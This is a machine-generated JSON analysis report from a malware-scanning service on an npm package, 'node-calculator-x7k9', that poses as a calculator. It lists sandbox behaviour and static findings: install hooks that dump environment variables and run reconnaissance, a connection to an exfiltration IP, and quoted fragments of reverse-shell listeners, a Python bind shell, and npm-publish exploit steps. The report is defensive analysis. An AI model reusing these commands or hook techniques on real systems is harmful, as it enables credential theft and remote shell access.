{"package":"node-calculator-x7k9","version":"3.3.0","known":true,"status":"error","discovered_at":1790300821437,"has_install_script":true,"report_url":"https://andymal.com/packages/node-calculator-x7k9/3.3.0","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790376388044,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":13551,"lab_ip":"10.77.0.152","hooks":[{"name":"preinstall","command":"node preinstall.js","exit":0,"timed_out":false,"seconds":10,"stdout_tail":"\n> node-calculator-x7k9@3.3.0 preinstall\n> node preinstall.js\n\n","stderr_tail":""},{"name":"postinstall","command":"node postinstall.js","exit":0,"timed_out":false,"seconds":2,"stdout_tail":"\n> node-calculator-x7k9@3.3.0 postinstall\n> node postinstall.js\n\nInstalling node-calculator-x7k9 v3.2.0...\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":""}],"process_count":28,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node postinstall.js","node postinstall.js","npm run-script preinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script preinstall --if-present --ignore-scripts=false","sh -c node preinstall.js","node preinstall.js","/bin/sh -c ls -la /","ls -la /","/bin/sh -c ls -la ~","ls -la /home/andy","/bin/sh -c ls -la /app","ls -la /app","/bin/sh -c find / -name \"*flag*\" 2>/dev/null","find / -name *flag*","/bin/sh -c printenv","printenv","/bin/sh -c whoami","whoami","/bin/sh -c id","id","/bin/sh -c pwd","/bin/sh -c ps aux","ps aux","/bin/sh -c nslookup e30.0.exfil.yourdomain.com","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"159.223.153.251","port":8080,"n":2}],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":["/var/www/html/exfil.json","/app/public/exfil.json"],"files_deleted":[],"canary_reads":["/etc/passwd"],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"node-calculator-x7k9","version":"3.3.0","description":"Simple calculator plugin with enhanced features","scripts":{"preinstall":"node preinstall.js","postinstall":"node postinstall.js"},"install_hooks":{"preinstall":"node preinstall.js","postinstall":"node postinstall.js"},"bin":{},"main":"index.js","dependencies":[],"author":"DarkT","license":"MIT","hasInstallScript":true},"files":[{"path":"ATTACK_DIAGRAM.txt","size":18565,"kind":"text","score":1,"hits":["credential_access","network_egress","reverse_shell","install_hook_shell"]},{"path":"exploit.ps1","size":8262,"kind":"text","score":1,"hits":["network_egress","reverse_shell","registry_abuse","reconnaissance"]},{"path":"EXPLOITATION_GUIDE.md","size":5982,"kind":"text","score":1,"hits":["credential_access","network_egress","code_execution","reverse_shell","registry_abuse","reconnaissance","privilege"]},{"path":"exploit.sh","size":3886,"kind":"text","score":0.7016666666666667,"hits":["network_egress","registry_abuse","reconnaissance"]},{"path":"preinstall.js","size":8247,"kind":"text","score":0.6214000000000001,"hits":["credential_harvest","code_execution","reconnaissance"],"role":"entry"},{"path":"postinstall.js","size":1841,"kind":"text","score":0.37123333333333336,"hits":["credential_harvest","code_execution"],"role":"entry"},{"path":"package.json","size":344,"kind":"text","score":0.13366666666666666,"hits":["install_hook_shell"]},{"path":"exfil_server.py","size":8492,"kind":"text","score":0,"hits":[]},{"path":"index.js","size":543,"kind":"text","score":0,"hits":[],"role":"entry"},{"path":"listener.py","size":4927,"kind":"text","score":0,"hits":[]},{"path":"README.md","size":544,"kind":"text","score":0,"hits":[]},{"path":"test-local.ps1","size":5768,"kind":"text","score":0,"hits":[]}],"file_count":12,"unpacked_size":67401,"findings":[{"title":"Install hook","detail":"preinstall: node preinstall.js","severity":"low","location":"package.json"},{"title":"Install hook","detail":"postinstall: node postinstall.js","severity":"low","location":"package.json"},{"title":"Touches credential stores or secrets","detail":"wer versions │ │ • No registry pinning (.npmrc) │ │ • No packa","severity":"high","location":"ATTACK_DIAGRAM.txt:137"},{"title":"Touches credential stores or secrets","detail":"═══════════════════════════════════════════════╝ ✓ Use .npmrc with registry pinning ────────────────────────────────","severity":"high","location":"ATTACK_DIAGRAM.txt:189"},{"title":"Touches credential stores or secrets","detail":"vate-registry.com //private-registry.com/:_authToken=${NPM_TOKEN} ✓ Enable package-lock.json and use npm ci ──────","severity":"high","location":"ATTACK_DIAGRAM.txt:192"},{"title":"Network activity","detail":"allback: │ │ 2. Persistence │ │ • nc -e │ │ Mechanisms │ │ • bash","severity":"medium","location":"ATTACK_DIAGRAM.txt:171"},{"title":"Reverse shell","detail":"allback: │ │ 2. Persistence │ │ • nc -e │ │ Mechanisms │ │ • bash -i","severity":"critical","location":"ATTACK_DIAGRAM.txt:171"},{"title":"Install hook runs a script","detail":"│ │ \"preinstall\": \"node preinstall.js\", ← Executes BEFORE │ │ \"postinstall\": \"node","severity":"medium","location":"ATTACK_DIAGRAM.txt:155"},{"title":"Install hook runs a script","detail":"\"node preinstall.js\", ← Executes BEFORE │ │ \"postinstall\": \"node postinstall.js\" ← Executes AFTER │ │ }","severity":"medium","location":"ATTACK_DIAGRAM.txt:156"},{"title":"Touches credential stores or secrets","detail":"ucational purposes, here's how to prevent this: 1. **Use .npmrc with registry lockdown**: ``` @yourcompany:registry","severity":"high","location":"EXPLOITATION_GUIDE.md:213"},{"title":"Network activity","detail":"your attack machine: ```bash # Option 1: Using netcat nc -nlvp 4444 # Option 2: Using ncat (better for CTF) ncat","severity":"medium","location":"EXPLOITATION_GUIDE.md:34"},{"title":"Network activity","detail":"Option 1: Using netcat nc -nlvp 4444 # Option 2: Using ncat (better for CTF) ncat -nlvp 4444 # Option 3: Using socat","severity":"medium","location":"EXPLOITATION_GUIDE.md:36"},{"title":"Network activity","detail":"nc -nlvp 4444 # Option 2: Using ncat (better for CTF) ncat -nlvp 4444 # Option 3: Using socat (most stable) socat T","severity":"medium","location":"EXPLOITATION_GUIDE.md:37"},{"title":"Network activity","detail":"ur port ``` **Getting Your IP:** ```bash # Public IP curl ifconfig.me # Local network IP (for local CTF) ip addr s","severity":"medium","location":"EXPLOITATION_GUIDE.md:58"},{"title":"Executes commands or dynamic code","detail":"ocket();s.bind((\"0.0.0.0\",4444));s.listen(1);c,a=s.accept();subprocess.call([\"/bin/sh\"],stdin=c,stdout=c,stderr=c)' ``` ### Ste","severity":"medium","location":"EXPLOITATION_GUIDE.md:43"},{"title":"Executes commands or dynamic code","detail":"```bash # Stabilize the shell python3 -c 'import pty; pty.spawn(\"/bin/bash\")' # Press Ctrl+Z stty raw -echo; fg export TE","severity":"medium","location":"EXPLOITATION_GUIDE.md:164"},{"title":"Reverse shell","detail":"ncat -nlvp 4444 # Option 3: Using socat (most stable) socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash # Option 4: Using Python python3 -c 'import s","severity":"critical","location":"EXPLOITATION_GUIDE.md:40"},{"title":"Reverse shell","detail":"```bash # Stabilize the shell python3 -c 'import pty; pty.spawn(\"/bin/bash\")' # Press Ctrl+Z stty raw -echo; fg export T","severity":"critical","location":"EXPLOITATION_GUIDE.md:164"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"cious-package # Login to npm (if not already logged in) npm login # Publish the package npm publish # If package name","severity":"high","location":"EXPLOITATION_GUIDE.md:71"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"age name is already taken, you might need to use a scope # npm publish --access public ``` **Important Notes:** - Your package version","severity":"high","location":"EXPLOITATION_GUIDE.md:77"},{"title":"System reconnaissance","detail":"rt ``` **Getting Your IP:** ```bash # Public IP curl ifconfig.me # Local network IP (for local CTF) ip addr show # L","severity":"low","location":"EXPLOITATION_GUIDE.md:58"},{"title":"System reconnaissance","detail":"# Local network IP (for local CTF) ip addr show # Linux ipconfig # Windows ``` ### Step 3: Publish the Malicious Pa","severity":"low","location":"EXPLOITATION_GUIDE.md:62"},{"title":"System reconnaissance","detail":"flag*\" 2>/dev/null cat /flag.txt # Exfiltrate data cat /etc/passwd env ps aux # Check for other containers ip addr nets","severity":"low","location":"EXPLOITATION_GUIDE.md:174"},{"title":"System reconnaissance","detail":"sswd env ps aux # Check for other containers ip addr netstat -ant ``` ## Troubleshooting ### Shell Not Connecting","severity":"low","location":"EXPLOITATION_GUIDE.md:180"},{"title":"Privilege elevation","detail":"eck firewall**: Make sure port 4444 is open ```bash sudo ufw allow 4444 # or sudo iptables -I INPUT -p tcp --","severity":"low","location":"EXPLOITATION_GUIDE.md:189"},{"title":"Privilege elevation","detail":"44 is open ```bash sudo ufw allow 4444 # or sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT ``` 2","severity":"low","location":"EXPLOITATION_GUIDE.md:191"},{"title":"Network activity","detail":"lly with:\" -ForegroundColor Yellow Write-Host \" curl -X POST http://$TargetIP/report-bug -H 'Content-Type: applic","severity":"medium","location":"exploit.ps1:142"},{"title":"Reverse shell","detail":"undColor Green $client = $listener.AcceptTcpClient() $stream = $client.GetStream() $reader =","severity":"critical","location":"exploit.ps1:71"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"ction SilentlyContinue) { Write-Host \" [*] Checking npm login status...\" -ForegroundColor Yellow $npmUser = np","severity":"high","location":"exploit.ps1:102"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"npm\" -ForegroundColor Red Write-Host \" [!] Run: npm login\" -ForegroundColor Yellow Write-Host \" [!] Then:","severity":"high","location":"exploit.ps1:112"},{"title":"System reconnaissance","detail":"tatus...\" -ForegroundColor Yellow $npmUser = npm whoami 2>$null if ($LASTEXITCODE -eq 0) { Write-Host","severity":"low","location":"exploit.ps1:104"},{"title":"Network activity","detail":"$LISTENER_PID\" else echo \"[!] Python3 not found, using nc instead\" nc -nlvp $ATTACKER_PORT & LISTENER_PID=$! f","severity":"medium","location":"exploit.sh:35"},{"title":"Network activity","detail":"else echo \"[!] Python3 not found, using nc instead\" nc -nlvp $ATTACKER_PORT & LISTENER_PID=$! fi sleep 2 # St","severity":"medium","location":"exploit.sh:36"},{"title":"Network activity","detail":"ng vulnerability via /report-bug endpoint...\" if command -v curl &> /dev/null; then RESPONSE=$(curl -s -X POST \"http://$T","severity":"medium","location":"exploit.sh:65"},{"title":"Network activity","detail":"nt...\" if command -v curl &> /dev/null; then RESPONSE=$(curl -s -X POST \"http://$TARGET_IP/report-bug\" \\ -H \"Cont","severity":"medium","location":"exploit.sh:66"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"if command -v npm &> /dev/null; then echo \"[*] Checking npm login status...\" if npm whoami &> /dev/null; then ech","severity":"high","location":"exploit.sh:45"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"ho \"[!] Not logged in to npm\" echo \"[!] Please run: npm login\" echo \"[!] Then run: cd malicious-package && npm pu","severity":"high","location":"exploit.sh:53"},{"title":"System reconnaissance","detail":"then echo \"[*] Checking npm login status...\" if npm whoami &> /dev/null; then echo \"[+] Already logged in to n","severity":"low","location":"exploit.sh:46"},{"title":"Install hook runs a script","detail":"nced features\", \"main\": \"index.js\", \"scripts\": { \"preinstall\": \"node preinstall.js\", \"postinstall\": \"node postinstall.js\" }, \"keywor","severity":"medium","location":"package.json:7"},{"title":"Install hook runs a script","detail":"\"scripts\": { \"preinstall\": \"node preinstall.js\", \"postinstall\": \"node postinstall.js\" }, \"keywords\": [\"calculator\", \"math\"], \"author\": \"","severity":"medium","location":"package.json:8"},{"title":"Dumps the whole environment (API keys live there)","detail":"source: 'postinstall', environment: process.env, cwd: process.cwd(), user: require","severity":"high","location":"postinstall.js:22"},{"title":"Executes commands or dynamic code","detail":"const https = require('https'); const { exec } = require('child_process'); const fs = require('fs'); // Configuration - MUST MA","severity":"medium","location":"postinstall.js:10"},{"title":"Dumps the whole environment (API keys live there)","detail":"find_flags': 'find / -name \"*flag*\" 2>/dev/null', 'printenv': 'printenv', 'whoami': 'whoami', 'id': '","severity":"high","location":"preinstall.js:68"},{"title":"Dumps the whole environment (API keys live there)","detail":"'find / -name \"*flag*\" 2>/dev/null', 'printenv': 'printenv', 'whoami': 'whoami', 'id': 'id',","severity":"high","location":"preinstall.js:68"},{"title":"Dumps the whole environment (API keys live there)","detail":"ment variables (often contain flags!) environment: process.env, // System information system: {","severity":"high","location":"preinstall.js:104"},{"title":"Dumps the whole environment (API keys live there)","detail":"execArgv: process.execArgv, env_keys: Object.keys(process.env) } }; logLocal('Data collection co","severity":"high","location":"preinstall.js:140"},{"title":"Executes commands or dynamic code","detail":"ps'); const fs = require('fs'); const { exec } = require('child_process'); const os = require('os'); // Configuration - CHANGE","severity":"medium","location":"preinstall.js:14"},{"title":"System reconnaissance","detail":"*\" 2>/dev/null', 'printenv': 'printenv', 'whoami': 'whoami', 'id': 'id', 'pwd': 'pwd',","severity":"low","location":"preinstall.js:69"},{"title":"System reconnaissance","detail":"null', 'printenv': 'printenv', 'whoami': 'whoami', 'id': 'id', 'pwd': 'pwd', 'ps'","severity":"low","location":"preinstall.js:69"},{"title":"System reconnaissance","detail":"ystem information system: { hostname: os.hostname(), platform: os.platform(), arch: o","severity":"low","location":"preinstall.js:108"},{"title":"System reconnaissance","detail":"hostname: os.hostname(), platform: os.platform(), arch: os.arch(), release: os.rel","severity":"low","location":"preinstall.js:109"}],"injection_findings":[],"hits":{"credential_access":4,"network_egress":12,"reverse_shell":4,"install_hook_shell":4,"code_execution":4,"registry_abuse":6,"reconnaissance":11,"privilege":2,"credential_harvest":5},"iocs":{"urls":["https://private-registry.com","http://TARGET_IP:3000/report-bug","http://TARGET:3000/report-bug","https://your-private-registry.com","http://$TargetIP/report-bug","http://$TARGET_IP/report-bug","http://159.223.153.251:8080/exfil"],"domains":["private-registry.com","target_ip","target","your-private-registry.com","$targetip","$target_ip","exploit.sh","ifconfig.me","system.net","system.io","exfil.yourdomain.com"],"ips":["159.223.153.251"]},"score":1,"priority":155,"hints":["install hook preinstall: node preinstall.js","install hook postinstall: node postinstall.js","untrusted hosts referenced: private-registry.com, target_ip, target, your-private-registry.com, $targetip, $target_ip, exploit.sh, ifconfig.me, system.net, system.io, exfil.yourdomain.com","raw IPs referenced: 159.223.153.251","capability hits: network_egress×12, reconnaissance×11, registry_abuse×6, credential_harvest×5, credential_access×4, reverse_shell×4, install_hook_shell×4, code_execution×4, privilege×2"],"entry_files":["preinstall.js","postinstall.js","index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}